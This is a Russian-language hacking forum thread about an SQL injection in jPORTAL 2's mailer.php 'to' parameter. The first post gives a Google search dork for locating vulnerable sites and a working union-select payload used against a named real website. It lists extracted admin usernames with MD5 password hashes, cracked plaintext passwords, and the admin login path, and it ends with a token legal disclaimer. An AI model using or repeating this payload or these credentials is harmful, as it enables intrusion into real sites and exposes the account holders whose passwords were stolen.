SQL-inj в jPORTAL 2

Discussion in 'Веб-уязвимости' started by -=lebed=-, 8 Nov 2007.

  1. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Программа: jPORTAL 2
    Code:
    http://[site]/mailer.php?to=[sql]
    При этом вывода на экран нет, однако взглянув на исходный код страницы и посмотрев значение скрытой переменной "to" мы получим нужную инфу из базы.
    Поиск в Гугл: inurl:"mailer.php?to"
    Пример:
    Цель:_paslek.com
    Code:
    _http://paslek.com/mailer.php?to=1'+union+select+0,1,2,3,4,5,concat(nick,char(58),pass),7+from+admins+limit+1/*
    Вывода на экран нет, смотрим исходник, видим:
    Code:
    <input style="font-weight: bold;" type="submit" name="ok" value="wyślij">
    <input type="reset" name="Reset" value="wyczyść">
    <input type="hidden" name="cmd" value="sendmail"><input type="hidden" name="to" value="[COLOR=Yellow]Pawel:0309dd0f7ef7607d3525c7f0ce6d382d[/COLOR]"></td>
    
    Логин и пасс из таблицы админы мы вытащили, меняем limit и тянем остальные:
    Red:b60e60bca1b299873cd7ff99013aba6d
    Toudi:1bb23c088b74cc52b9d6e0737ba5c3c0
    Wyga:2e5649795423dc0f85b359dc94718b5d
    - - - - - - - - - - - - - - - - - - - - -
    брутим MD5 хэши... получаем:
    Pawel:0309dd0f7ef7607d3525c7f0ce6d382d:psikutas
    Red:b60e60bca1b299873cd7ff99013aba6d:f4444ero
    Далее ищем админку (я нашёл с 1 раза ;-)
    Code:
    _http://paslek.com/admin.php
    
    Вводим первый логин и пасс и с удивлением обнаруживаем себя админом сайта ;) Ну а дальше сами...

    P.S. Это наглядный пример использования уязвимости, представлен только для ознакомления, все незаконные действия совершаемые Вами могут быть уголовно наказуемы и вся ответственность за неправоменрные действия лежит на вас.
    Autor (обнаружил уязвимость): Kacper (а пример взлома мой ;-)
    www.milw0rm.com
     
  2. The_HuliGun

    The_HuliGun Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    191
    Likes Received:
    84
    Reputations:
    11
    Не знаю зачем постить уязвимости других авторов. Может лучше пора самому искать баги в паблик движках? Ведь заюзать скулю, согласитесь, дело нехитрое.